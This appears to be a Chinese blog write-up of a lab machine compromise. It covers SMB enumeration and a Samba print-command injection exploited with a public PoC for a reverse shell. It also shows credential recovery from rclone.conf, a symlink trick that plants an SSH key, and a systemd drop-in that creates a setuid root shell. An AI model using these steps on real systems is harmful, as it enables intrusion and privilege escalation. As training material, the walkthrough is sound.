前言

做了一道medium的靶机,我说确实有点难,看了官方的walkthrough才做出来,真的还是要多做。红日靶场我就不打算做了,因为自己搭建太麻烦了,用htx会好很多,也方便。

1、信息收集

nmap扫一下发现开放的SMB服务、ssh。

然后enum4linux枚举一下所有信息,这里没截图,就直接用输出信息来替代。

Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Jun 11 09:44:14 2026

 =========================================( Target Information )=========================================

Target ........... 10.129.244.177
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ===========================( Enumerating Workgroup/Domain on 10.129.244.177 )===========================


[+] Got domain/workgroup name: WORKGROUP


 ===============================( Nbtstat Information for 10.129.244.177 )===============================

Looking up status of 10.129.244.177
        ABDUCTED        <00> -         B <ACTIVE>  Workstation Service
        ABDUCTED        <03> -         B <ACTIVE>  Messenger Service
        ABDUCTED        <20> -         B <ACTIVE>  File Server Service
        WORKGROUP       <00> - <GROUP> B <ACTIVE>  Domain/Workgroup Name
        WORKGROUP       <1e> - <GROUP> B <ACTIVE>  Browser Service Elections

        MAC Address = 00-00-00-00-00-00

 ==================================( Session Check on 10.129.244.177 )==================================


[+] Server 10.129.244.177 allows sessions using username '', password ''


 ===============================( Getting domain SID for 10.129.244.177 )===============================

Domain Name: WORKGROUP
Domain Sid: (NULL SID)

[+] Can't determine if host is part of domain or part of a workgroup


 ==================================( OS information on 10.129.244.177 )==================================


[E] Can't get OS info with smbclient


[+] Got OS info for 10.129.244.177 from srvinfo: 
        ABDUCTED       Wk Sv PrQ Unx NT SNT Hartley Group Document Services
        platform_id     :       500
        os version      :       6.1
        server type     :       0x809a03


 ======================================( Users on 10.129.244.177 )======================================

index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: scott    Name: Scott Mercer      Desc: 

user:[scott] rid:[0x3e8]

 ================================( Share Enumeration on 10.129.244.177 )================================

smbXcli_negprot_smb1_done: No compatible protocol selected by server.

        Sharename       Type      Comment
        ---------       ----      -------
        HP-Reception    Printer   Reception printer
        projects        Disk      Hartley Group Project Files
        transfer        Disk      Staff file transfer
        IPC$            IPC       IPC Service (Hartley Group Document Services)
Reconnecting with SMB1 for workgroup listing.
Protocol negotiation to server 10.129.244.177 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on 10.129.244.177


[E] Can't understand response:

NT_STATUS_NO_SUCH_FILE listing \*
//10.129.244.177/HP-Reception   Mapping: N/A Listing: N/A Writing: N/A
//10.129.244.177/projects       Mapping: DENIED Listing: N/A Writing: N/A
//10.129.244.177/transfer       Mapping: DENIED Listing: N/A Writing: N/A

[E] Can't understand response:

NT_STATUS_CONNECTION_REFUSED listing \*
//10.129.244.177/IPC$   Mapping: N/A Listing: N/A Writing: N/A

 ===========================( Password Policy Information for 10.129.244.177 )===========================

Password: 


[+] Attaching to 10.129.244.177 using a NULL share

[+] Trying protocol 139/SMB...

[+] Found domain(s):

        [+] ABDUCTED
        [+] Builtin

[+] Password Info for Domain: ABDUCTED

        [+] Minimum password length: 5
        [+] Password history length: None
        [+] Maximum password age: 136 years 37 days 6 hours 21 minutes 
        [+] Password Complexity Flags: 000000

                [+] Domain Refuse Password Change: 0
                [+] Domain Password Store Cleartext: 0
                [+] Domain Password Lockout Admins: 0
                [+] Domain Password No Clear Change: 0
                [+] Domain Password No Anon Change: 0
                [+] Domain Password Complex: 0

        [+] Minimum password age: None
        [+] Reset Account Lockout Counter: 30 minutes 
        [+] Locked Account Duration: 30 minutes 
        [+] Account Lockout Threshold: None
        [+] Forced Log off Time: 136 years 37 days 6 hours 21 minutes 



[+] Retieved partial password policy with rpcclient:


Password Complexity: Disabled
Minimum Password Length: 5


 ======================================( Groups on 10.129.244.177 )======================================


[+] Getting builtin groups:


[+]  Getting builtin group memberships:


[+]  Getting local groups:


[+]  Getting local group memberships:


[+]  Getting domain groups:


[+]  Getting domain group memberships:


 =================( Users on 10.129.244.177 via RID cycling (RIDS: 500-550,1000-1050) )=================


[I] Found new SID: 
S-1-22-1

[I] Found new SID: 
S-1-5-32

[I] Found new SID: 
S-1-5-32

[I] Found new SID: 
S-1-5-32

[I] Found new SID: 
S-1-5-32

[+] Enumerating users using SID S-1-5-21-4225988480-3190912278-1721389418 and logon username '', password ''

S-1-5-21-4225988480-3190912278-1721389418-501 ABDUCTED\nobody (Local User)
S-1-5-21-4225988480-3190912278-1721389418-513 ABDUCTED\None (Domain Group)
S-1-5-21-4225988480-3190912278-1721389418-1000 ABDUCTED\scott (Local User)

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''

S-1-22-1-1000 Unix User\scott (Local User)
S-1-22-1-1001 Unix User\marcus (Local User)

[+] Enumerating users using SID S-1-5-32 and logon username '', password ''

S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)

 ==============================( Getting printer info for 10.129.244.177 )==============================

        flags:[0x800000]
        name:[\\10.129.244.177\]
        description:[\\10.129.244.177\,,Reception printer]
        comment:[Reception printer]

发现空密码能够匿名直接访问打印机服务,但是其他的文件夹projects、transfer、IPC$全都没有权限访问,全都被denied了。这里其实应该直接去网上搜漏洞了,但是这里先自己搓了好久,问了ai尝试利用打印机服务执行命令,但是失败了。于是看了walkthrough发现要用CVE-2026-4480。

2、漏洞利用

2.1 CVE-2026-4480

先讲一下这个漏洞。2026年5月31日,Samba官方同步CVE Circl发布紧急安全公告,披露了一个存在于Samba打印子系统的CVSS v3.1 10.0满分高危漏洞

2.1.1 漏洞详情

指标详情
漏洞类型命令注入漏洞
利用条件无需认证、无需用户交互、远程网络访问
攻击范围跨域攻击(S:C)
影响程度机密性/完整性/可用性全量破坏
利用难度极低(公开PoC已泛滥)
受影响组件Samba spoolss打印RPC接口

2.1.2 漏洞成因

CVE-2026-4480的根本原因在于Samba打印模块在处理客户端传入的%J参数(打印任务名称参数)时,未进行任何输入过滤、转义或白名单校验,直接将其拼接到底层系统的Shell命令中执行。

以下是Samba源代码中存在问题的关键片段(来自samba-4.19.5/source3/printing/printing.c):

/* 有问题的代码片段 */
char *build_print_command(const char *printer_name, const char *job_name, const char *filename)
{
    char *command = NULL;
    const char *print_command = lp_print_command(printer_name);
    
    /* 替换%J参数为打印任务名称 */
    command = talloc_string_sub(NULL, print_command, "%J", job_name);
    /* 替换其他参数... */
    
    return command;
}

void execute_print_job(const char *printer_name, const char *job_name, const char *filename)
{
    char *command = build_print_command(printer_name, job_name, filename);
    
    /* 直接执行拼接后的命令 */
    system(command);
    
    talloc_free(command);
}

这里看execute_print_job函数被调用后,直接利用build_print_command函数,然后在build_print_command函数中,%J这个直接获取打印任务名称,没有进行任何的过滤,拼接以后直接由system进行执行,导致的命令注入。

然后由于SMB的默认设置,而空密码账户也能够访问打印服务,导致

  1. 任何能够访问服务器445端口的客户端,都可以以Guest身份连接到Samba服务
  2. Guest用户默认拥有打印权限
  3. 攻击者无需任何账号密码,即可提交恶意打印请求

所以这个漏洞拿到了10分的满分捏。

2.2 利用漏洞获取shell

先安装一下samba服务

sudo apt install python3-samba

开一个窗口监听

# terminal 1: listener
nc -lvnp 4444

然后

# terminal 2: fire the exploit
git clone https://github.com/TheCyberGeek/CVE-2026-4480-PoC.gitcd CVE-2026-4480-PoC
python3 exploit.py rhost lhost 4444

之后就在监听端口获取shell了

3、横向移动

3.1 nobody——> scott

此时还只是nobody用户,需要横向移动到之前scott的用户上,这里横向移动其实还简单,通过查看备份文件/opt/offsite-backup/rclone.conf,找到其中的scott的密码。

cat /opt/offsite-backup/rclone.conf

在 rclone 的配置文件(rclone.conf)中,密码字段默认不是明文存储的,而是经过 obscure 处理过的密文,通过rclone reveal解密密码

获取密码后,用ssh登录scott用户

然后获取user的flag

4.提权

其实这个提权也挺难,要多做一个横向移动到marus才能提权,没想法也是看的官方的walkthrough。

4.1 scott——> marcus

这里想到要横向移动到Marcus是因为其中的一项设置,cat /etc/samba/shares.conf

发现其中的transfer共享文件夹设置

[transfer]
   path = /srv/transfer
   valid users = scott
   force user = marcus
   read only = no
   wide links = yes

漏洞组合:

  • wide links = yes:允许 Samba 跟随符号链接,即使目标指向共享目录之外。
  • force user = marcus:无论谁通过认证(此处为 scott),所有文件操作都以本地用户 marcus 的身份执行。
  • read only = no:可写。

此时scott 可以在共享中创建一个符号链接,指向 marcus 有权访问的任意文件(例如 /home/marcus/.ssh/authorized_keys),然后通过共享写入自己的公钥,从而获得 marcus 的 Shell 登录权限。如果 marcus 拥有 sudo 或其他特权,这会直接导致本地提权

于是这里利用这个漏洞

scott@abducted:~$ ssh-keygen -q -t ed25519 -N '' -f /tmp/k
scott@abducted:~$  ln -s /home/marcus /srv/transfer/mh
scott@abducted:~$ smbclient //127.0.0.1/transfer -U 'scott%iXzvcib3SrpZ' -c 'mkdir mh/.ssh; put /tmp/k.pub mh/.ssh/authorized_keys'

直接ssh进行连接marcus,无需输入密码

4.2 marcus——>root、

4.2.1 信息收集

这里marcus的属于operators组

然后搜索操作组能够写入的文件
ls -ld /etc/systemd/system/smbd.service.d

输出结果权限解析:

  • d:目录
  • rwx:属主(root)可读、写、进入
  • rws:属组(operators)可读、写、进入,且 s 表示 setgid 位(SGID)
  • ---:其他人无任何权限

其中 SGID 位在目录上的作用:在该目录下创建的新文件/子目录,其所属组会自动继承该目录的属组(即 operators),而非创建者的主组。这意味着 marcus 可以在这里创建文件,且文件会属于 operators 组,便于组内协作。

4.2.2 systemd drop-in 配置目录介绍

路径 /etc/systemd/system/smbd.service.d/ 是一个标准的 systemd drop-in 目录
当 systemd 加载 smbd.service 单元时,会自动合并该目录下所有 .conf 文件中的配置,覆盖或扩展主单元文件中的指令。这是一个设计上非常灵活的机制,允许运维人员在不修改主服务文件的情况下进行定制。

4.2.3 systemd drop-in 配置目录利用

在 drop-in 文件的 [Service] 段中,可以指定 ExecStartPre=。这个指令定义的命令会在服务主进程启动之前执行。
关键点:systemd 执行这些命令时,使用的是服务自身配置的用户身份smbd.service 通常以 root 身份运行,因此 ExecStartPre= 中的命令也会以 root 执行。

4.2.4 polkit 授权绕过

写入 drop-in 文件仅仅是“埋雷”,要真正引爆炸弹,需要让 systemd 重新加载配置并重启服务。
通常,非特权用户无法执行 systemctl daemon-reload 和 systemctl restart smbd,因为这需要 root 权限或明确的 polkit 授权。
攻击者使用 polkit 的动作遍历,测试自己的进程是否被允许执行某些特权操作:

for action in $(pkaction); do
pkcheck --action-id "$action" --process $$ 2>/dev/null && echo "ALLOWED: $action"
done

我们看到ALLOWED: org.freedesktop.systemd1.reload-daemon说明用户macus被允许无需密码即可重载 systemd 管理器配置

4.2.4 为什么没有看到 manage-units 的允许?

通常重启服务需要 org.freedesktop.systemd1.manage-units 授权。pkcheck 测试时输出中并没有直接显示该动作被允许,但这不代表 marcus 无法重启 smbd

在官方的walkthrough中解释了原因:

  • polkit 规则可以是条件性的。例如,规则可能写成:“如果目标单元是 smbd.service,则允许 operators 组重启,否则要求密码。”
  • 条件检查依赖传入的动作细节。pkcheck 在命令行测试时没有附带 unit 参数,polkit 无法满足条件,因此返回“拒绝”。
  • 但 systemctl restart smbd 实际调用 D-Bus 时会传递 unit=smbd.service 这个细节,规则此时命中,授权通过,无需密码。

这种设计使得权限控制更加细粒度:operators 组只能管理特定的服务(smbd),但不能随意重启其他服务。但在这个场景下,恰好允许攻击者利用它来触发恶意配置。

4.2.5 完整的利用过程

1. 写入恶意 drop-in 文件
cat > /etc/systemd/system/smbd.service.d/override.conf <<'EOF'
[Service]
ExecStartPre=/bin/cp /bin/bash /tmp/.rb
ExecStartPre=/bin/chmod 4755 /tmp/.rb
EOF

这个配置文件定义了两个前置命令:

  • 将 /bin/bash 复制到 /tmp/.rb
  • 将 /tmp/.rb 设置为 setuid root4755,即 -rwsr-xr-x,属主为 root)

因为 marcus 拥有 operators 组写权限,且目录有 SGID,该文件顺利创建,属于 operators 组。

2. 触发服务重载与重启
systemctl daemon-reload   # 通过 polkit 允许的操作,重载配置
systemctl restart smbd    # 利用细粒度 polkit 规则,无密码重启

daemon-reload 让 systemd 读取新的 drop-in 文件。
restart smbd 停止旧服务,启动新服务。systemd 以 root 身份执行 ExecStartPre= 中的两条命令:

  • cp /bin/bash /tmp/.rb
  • chmod 4755 /tmp/.rb

执行完成后,/tmp/.rb 成为一个带 setuid 位的 root 所属 bash 副本。

最终拿下root权限

全都不会写!
最后更新于 2026-06-15